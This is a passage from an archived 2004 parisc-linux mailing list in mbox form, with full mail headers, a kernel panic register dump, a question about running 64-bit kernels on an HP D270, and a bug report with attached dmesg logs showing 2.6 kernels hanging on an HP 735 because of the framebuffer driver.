r04-07  00000000104f7bc0 00000000ffe3b600 00000000ffe66018 00000000ffe3b610
r08-11  0000000000000000 000000001056b658 0000000000000001 0000000000200200
r12-15  0000000000100100 00000000ffe3b630 00000000000000f0 00000000000000ff
r16-19  00000000f00003dc 00000000f000028c 00000000f0002aa4 000000000068f4d1
r20-23  00000000ffe3b610 00000001ffe3b610 00000000140ad688 0000000000000002
r24-27  0000000000000001 00000000ffe66010 00000000ffe67880 00000000104f7bc0
r28-31  00000000ffe71010 000000001479c530 000000001479c560 0000000000000000
sr0-3   0000000000003800 0000000000000000 0000000000000000 00000000004ed000
sr4-7   0000000000000000 0000000000000000 0000000000000000000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101747d0 00000000101747d4
 IIR: 0eb412d0    ISR: 0000000000000000  IOR: 00000001ffe3b618
 CPU:        0   CR30: 000000001479c000 CR31: 00000000104c4000
 ORIG_R28: 00000000104807a0
 IAOQ[0]: free_block+0xa8/0x1a0
 IAOQ[1]: free_block+0xac/0x1a0
 RP(r2): drain_array_locked+0xe4/0x118
Kernel panic - not syncing: Kernel Fault
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: stasi <stasi1@poczta.fm>(by way of stasi <stasi1@poczta.fm>)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I can't run 64bit kernel
Date: Mon, 27 Sep 2004 08:35:52 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <200409270835.52802.stasi1@poczta.fm>
Reply-To: stasi1@poczta.fm
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623574 11212 80.91.229.3 (22 Nov 2014 02:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26594 invoked by uid 65534); 27 Sep 2004 06:38:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 27 Sep 2004 08:38:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 50FA43BE43; Mon, 27 Sep 2004 00:38:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00672-10; Mon, 27 Sep 2004 00:38:20 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 630833BE52; Mon, 27 Sep 2004 00:37:55 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3A1A3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 00:37:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00707-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 00:37:49 -0600 (MDT)
Original-Received: from eri.interia.pl (eri.interia.pl [217.74.65.138])
	by free.linux.hp.com (Postfix) with ESMTP id 67EF83BE43
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 00:37:49 -0600 (MDT)
Original-Received: from poczta.interia.pl (mi03.poczta.interia.pl [10.217.12.3])
	by eri.interia.pl (Postfix) with ESMTP id 7A4E926EFF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 08:37:41 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id EF59836B64; Mon, 27 Sep 2004 08:37:35 +0200 (CEST)
Original-Received: from charon.org (unknown [195.136.2.95])
	by www.poczta.fm (INTERIA.PL) with ESMTP id 0E70F36B61
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 08:37:35 +0200 (CEST)
User-Agent: KMail/1.6.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22044

Hi all

I have problem with my HP 9000/861/D270 i want run on this box 64bit kernel
but it don't work. I try kernel from Debian CD and others from deb files. I
try compiling kernel 2.4.26 and it don't work too. So i have question. Can I
run 64 bit kernel on this machine?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Mon, 27 Sep 2004 18:28:31 +0200
Lines: 391
Approved: news@gmane.org
Message-ID: <200409271828.31259.j.raspe@t-online.de>
References: <200409241533.15399.j.raspe@t-online.de>
	<200409261719.31774.j.raspe@t-online.de>
	<4156F0FE.2010301@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_v+DWB2rtvEm+zsJ"
X-Trace: ger.gmane.org 1416623574 11215 80.91.229.3 (22 Nov 2014 02:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5778 invoked by uid 65534); 27 Sep 2004 16:29:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 27 Sep 2004 18:29:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 482EE3BE50; Mon, 27 Sep 2004 10:29:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07042-01; Mon, 27 Sep 2004 10:29:11 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EDCFB3BE52; Mon, 27 Sep 2004 10:28:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85E683BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 10:28:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05851-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 10:28:53 -0600 (MDT)
Original-Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com
	[194.25.134.80])
	by free.linux.hp.com (Postfix) with ESMTP id 57BDB3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 10:28:52 -0600 (MDT)
Original-Received: from fwd10.aul.t-online.de by mailout01.sul.t-online.com with smtp 
	id 1CByMn-0005ev-03; Mon, 27 Sep 2004 18:28:45 +0200
Original-Received: from ZEUS.lan.pc
	(ZGMrG4ZaoeqFQxuLr5is1abV9LJNsGKU+YqVxeU5nP7nJlMEklf-89@[80.144.109.201])
	by fwd10.sul.t-online.com
	with esmtp id 1CByMa-13ojmi0; Mon, 27 Sep 2004 18:28:32 +0200
User-Agent: KMail/1.7
In-Reply-To: <4156F0FE.2010301@tiscali.be>
X-ID: ZGMrG4ZaoeqFQxuLr5is1abV9LJNsGKU+YqVxeU5nP7nJlMEklf-89
X-TOI-MSGID: 312e5eb5-0a88-4f96-97ac-b1a438996466
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22045

--Boundary-00=_v+DWB2rtvEm+zsJ
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

> Hello Johannes,
>
> Johannes Raspe wrote:
> >>Johannes Raspe wrote:
> >>>Hi all,
> >>>
> >>>I tried the "official" 2.6.8 Debian-image and 2.6.8.1-pa11-image but
> >>> none worked.
> >>>After booting, the message "if this is the last..." about graphic and
> >>>serial-console is printed and after that (I suppose when the kernel
> >>> tries to initialize the framebuffer) the screen turns blue, no
> >>> HDD-activity anymore, the system hangs.
> >>>As far as I can see no other messages.
> >>>With 2.4.27-pa4 everything is fine.
> >>>
> >>>machine: 735/125
> >>>graphics: CRX24
> >>>palo-commandline: 2/vmlinux root=/dev/sda6 HOME=/
> >>>32-bit kernel
> >>>
> >>>Any clues?
> >>
> >>I have no clue about 735 model but do you have the opportunity to check
> >>what hapened if you try to boot from serial console?
> >>
> >>hth,
> >> Joel
> >
> > Hi Joel,
> >
> > after soldering a nullmodem-cable I was able to get the serial console
> > running, unfortunately the output is not very informative, I think:
> >
> > Command line for kernel: 'root=/dev/sda6 HOME=/ console=ttyS0 TERM=vt102
> > palo_k'
> > Selected kernel: /vmlinux-2.6 from partition 2
> > ELF32 executable
> > Entry 001001b0 first 00100000 n 2
> > Segment 0 load 00100000 size 2494432 mediaptr 0x1000
> > Segment 1 load 00361000 size 1175685 mediaptr 0x262000
> > Branching to kernel entry point 0x001001b0.  If this is the last
> > message you see, you may need to switch your console.  This is
> > a common symptom -- search the FAQ and mailing list at parisc-linux.org
> >
> > After this, the screen on the HP-machine turns blue and the system hangs.
> > Tried with palinux-32-2.6.8.1-pa11
>
> too bad.
>
> May be try a more scpecific build: looking at the hw db it seems to me that
> the palinux-712-defconfig-2.6.8.1-pa11 or
> palinux-b180-defconfig-2.6.8.1-pa11 should be helpfull?
>
> If none of this give you much more info we would have to grab a piminfo and
> analyse it to see where the kernel failed :(
>
> Joel
>
> PS: may be a dmesg of a 2.4 boot would also be interesting to see if there
> are some know issue in 2.6 about some driver used by your 735 model

Hi Joel,

I tried:
palinux-712-defconfig-2.6.8.1-pa11
palinux-b180-defconfig-2.6.8.1-pa11
palinux-32-2.6.6-pa4
palinux-712-defconfig-2.6.6-pa4
palinux-b180-defconfig-2.6.6-pa4

all with the same result as before.

After that I compiled a 2.6.9-rc2-pa7 kernel without support for framebuffer 
(CONFIG_FB) which booted perfectly with serial console.
So I think we can track down the problem to the framebuffer driver in the 
kernels > 2.6 with my graphics device, which should be supported according to 
the beginning of stifb.c.

I attached both, the 2.4 and the 2.6 dmesg.

What could I try next ??

Johannes

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105

--Boundary-00=_v+DWB2rtvEm+zsJ
Content-Type: text/plain;
  charset="iso-8859-1";
  name="dmesg-2.4.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="dmesg-2.4.txt"

Linux version 2.4.27-pa4-APOLLO-20040924 (johio@APOLLO) (gcc version 3.2.3 (Debian)) #5 Sa Sep 25 15:40:46 CEST 2004
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00002060 00000481 00000000 00000000 77584fb0 ffffffff 00000004 0000000a 0000000a
vers  00000015
model 9000/735
Total Memory: 272 Mb
pagetable_init
On node 0 totalpages: 69632
zone(0): 69632 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda6 HOME=/ console=tty0 sti=1 sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 124.51 BogoMIPS
Memory: 272480k available
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77
2. Outfield Core BA (11) at 0xf082f000 [2], versions 0x9, 0x0, 0x70
3. Outfield Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x9, 0x0, 0x71
4. Outfield Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 0x9, 0x0, 0x72
5. Outfield Core HIL (10) at 0xf0821000 [2/0/3], versions 0x9, 0x0, 0x73
6. Outfield Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x9, 0x0, 0x75
7. Outfield Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x9, 0x0, 0x75
8. Outfield Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x9, 0x0, 0x74
9. Outfield FW SCSI (10) at 0xf0830000 [2/0/7], versions 0x9, 0x0, 0x7c
10. Outfield Audio (10) at 0xf1000000 [2/0/8], versions 0x9, 0x0, 0x7f
11. Cobra EISA BA (11) at 0xfc000000 [4], versions 0x4, 0x0, 0x76
12. Snake Cheetah (735/130) (0) at 0xfffbe000 [8], versions 0x206, 0x0, 0x4
13. Memory (1) at 0xfffbf000 [9], versions 0x37, 0x0, 0x9
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Starting kswapd
Journalled Block Device driver loaded
devfs: v1.12c (20020818) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f8000000, hpa at f8000000
STI id 26d148ee-40a00499, conforms to spec rev. 8.02
STI device: HPA1439A
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 26d148ee, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with no serial options enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.07
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 0B BB 22 IRQ 87.
82596.c $Revision: 1.32 $
SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0 
scsi0 : LASI SCSI 53c700
  Vendor: IBM       Model: DDRS-34560        Rev: S97B
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 4, lun 0
scsi0: (4:0) Enabling Tag Command Queuing
SCSI device sda: 8925000 512-byte hdwr sectors (4570 MB)
Partition check:
 /dev/scsi/host0/bus0/target4/lun0: p1 p2 p3 p4 < p5 p6 >
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 0 at 0xf1000000, IRQ 82
mice: PS/2 mouse device common for all mice
HP SDC: HP SDC at 0xf0821000, IRQ 94 (NMI IRQ 93)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP i8042 SDC + MSM-58321 RTC support loaded (RTC v 1.10d)
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
SCTP: Hash tables configured (established 8192 bind 16384)
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 186k freed
HIL KEYB: HIL keyboard found (did = 0xcf, lang = german)
input0: HIL keyboard on hil0
kernel BUG at slab.c:1130!
HIL PTR: HIL pointer device found (did: 0x68, axis: relative)
HIL PTR: HIL pointer has 3 buttons and 1 sets of 2 axes
input1: HIL mouse on hil0
Adding Swap: 498284k swap-space (priority -1)
EXT3 FS 2.4-0.9.19, 19 August 2002 on sd(8,6), internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.19, 19 August 2002 on sd(8,5), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
eth0: link ok.

--Boundary-00=_v+DWB2rtvEm+zsJ
Content-Type: text/plain;
  charset="iso-8859-1";
  name="dmesg-2.6.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="dmesg-2.6.txt"

Command line for kernel: 'root=/dev/sda6 HOME=/ console=ttyS0 TERM=vt102 palo_k'
Selected kernel: /vmlinux-2.6 from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 2203048 mediaptr 0x1000
Segment 1 load 0031a000 size 745606 mediaptr 0x21b000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

vice: ID = 'parisc2'
Found devices:
1. Coral SGC Graphics at 0xf8000000 [1] { 10, 0x0, 0x004, 0x00077 }
2. Outfield Core BA at 0xf082f000 [2] { 11, 0x0, 0x009, 0x00070 }
3. Outfield Core SCSI at 0xf0825000 [2/0/1] { 10, 0x0, 0x009, 0x00071 }
4. Outfield Core LAN (802.3) at 0xf0826000 [2/0/2] { 10, 0x0, 0x009, 0x00072 }
5. Outfield Core HIL at 0xf0821000 [2/0/3] { 10, 0x0, 0x009, 0x00073 }
6. Outfield Core RS-232 at 0xf0823000 [2/0/4] { 10, 0x0, 0x009, 0x00075 }
7. Outfield Core RS-232 at 0xf0822000 [2/0/5] { 10, 0x0, 0x009, 0x00075 }
8. Outfield Core Centronics at 0xf0824000 [2/0/6] { 10, 0x0, 0x009, 0x00074 }
9. Outfield FW SCSI at 0xf0830000 [2/0/7] { 10, 0x0, 0x009, 0x0007c }
10. Outfield Audio at 0xf1000000 [2/0/8] { 10, 0x0, 0x009, 0x0007f }
11. Cobra EISA BA at 0xfc000000 [4] { 11, 0x0, 0x004, 0x00076 }
12. Snake Cheetah (735/130) at 0xfffbe000 [8] { 0, 0x0, 0x206, 0x00004 }
13. Memory at 0xfffbf000 [9] { 1, 0x0, 0x037, 0x00009 }
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
SCSI subsystem initialized
unwind_init: start = 0x1031c060, end = 0x1033d050, entries = 8447
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xf0823800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xf0822800 (irq = 89) is a 16550A
loop: loaded (max 8 devices)
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xf0826000, IRQ 87
drivers/net/lasi_82596.c: MAC of HP700 LAN read from EEPROM
eth0: 82596 at 0xf0826000, 08 00 09 0B BB 22 IRQ 87.
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
Using anticipatory io scheduler
  Vendor: IBM       Model: DDRS-34560        Rev: S97B
  Type:   Direct-Access                      ANSI SCSI revision: 02
st: Version 20040403, fixed bufsize 32768, s/g segs 256
scsi0: (4:0) Enabling Tag Command Queuing
SCSI device sda: 8925000 512-byte hdwr sectors (4570 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 >
Attached scsi disk sda at scsi0, channel 0, id 4, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 4, lun 0,  type 0
mice: PS/2 mouse device common for all mice
HP SDC: HP SDC at 0xf0821000, IRQ 94 (NMI IRQ 93)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
Advanced Linux Sound Architecture Driver Version 1.0.6 (Sun Aug 15 07:17:53 200.
Lasi Harmony Audio driver h/w id 20, rev. 0 at 0xf1000000, IRQ 82
ALSA device list:
  #0: ALSA driver for LASI Harmony at h/w, id 20, rev. 0 hpa 0xf1000000, IRQ 82

NET: Registered protocol family 2
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET: Registered protocol family 1
NET: Registered protocol family 17
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 196k freed
INIT: version 2.86 booting
Usage: vt-is-UTF8 [option]
valid options are:
        -q  --quiet    don't print result
        -h --help      display this help text and exit
        -V --version   display version information and exit
Activating swap.
Adding 498284k swap on /dev/sda3.  Priority:-1 extents:1
Checking root file system...
fsck 1.35 (28-Feb-2004)
/dev/sda6: clean, 84780/367264 files, 390625/734320 blocks
EXT3 FS on sda6, internal journal
System time was Fri Sep 24 16:10:41 UTC 2004.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Fri Sep 24 16:10:43 UTC 2004.
Cleaning up ifupdown...done.
Checking all file systems...
fsck 1.35 (28-Feb-2004)
/dev/sda2: clean, 21/7680 files, 12159/30597 blocks
/dev/sda5 has been mounted 27 times without being checked, check forced.
./dev/sda5: 172/121856 files (4.1% non-contiguous), 10151/243675 blocks
Setting kernel variables ...
... done.
Mounting local filesystems...
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda5, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
/dev/sda2 on /boot type ext2 (rw)
/dev/sda5 on /home type ext3 (rw)
Cleaning /tmp /var/run /var/lock.
Running 0dns-down to make sure resolv.conf is ok...done.
Initializing: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces...Internet Software Consortium DHCP Client 2.0pl5
Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.
All rights reserved.

Please contribute if you find this software useful.
For info, please visit http://www.isc.org/dhcp-contrib.html

eth0: link ok.
Listening on LPF/eth0/08:00:09:0b:bb:22
Sending on   LPF/eth0/08:00:09:0b:bb:22
Sending on   Socket/fallback/fallback-net
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 4
DHCPOFFER from 192.168.0.1
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 192.168.0.1
bound to 192.168.0.4 -- renewal in 43200 seconds.
done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Fri Sep 24 18:11:03 CEST 2004

Initializing random number generator...done.
Recovering nvi editor sessions... done.
Setting up X server socket directory /tmp/.X11-unix...done.
Setting up ICE socket directory /tmp/.ICE-unix...done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting printing system service: cupsd
HIL KEYB: HIL keyboard found (did = 0xcf)
input: HIL keyboard, ID: 207
HIL PTR: HIL pointer device found (did: 0x68, axis: relative)
HIL PTR: HIL pointer has 3 buttons and 1 sets of 2 axes
input: HIL pointer device (HIL mouse), ID: 104
.
Starting internet superserver: inetd.
Starting Samba daemons: nmbd smbd.
Starting OpenBSD Secure Shell server: sshd.
Starting Xprint servers: Xprt.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
Not starting WINGs display manager (wdm); it is not the default display manager.
Starting X display manager: xdm.
--Boundary-00=_v+DWB2rtvEm+zsJ
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_v+DWB2rtvEm+zsJ--



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I can't run 64bit kernel
Date: Mon, 27 Sep 2004 10:48:17 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20040927164817.GC27091@colo.lackof.org>
References: <200409270835.52802.stasi1@poczta.fm>
	<20040927112644.GO16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623574 11217 80.91.229.3 (22 Nov 2014 02:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8858 invoked by uid 65534); 27 Sep 2004 16:48:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 27 Sep 2004 18:48:58 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8AA9F3BE61; Mon, 27 Sep 2004 10:48:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
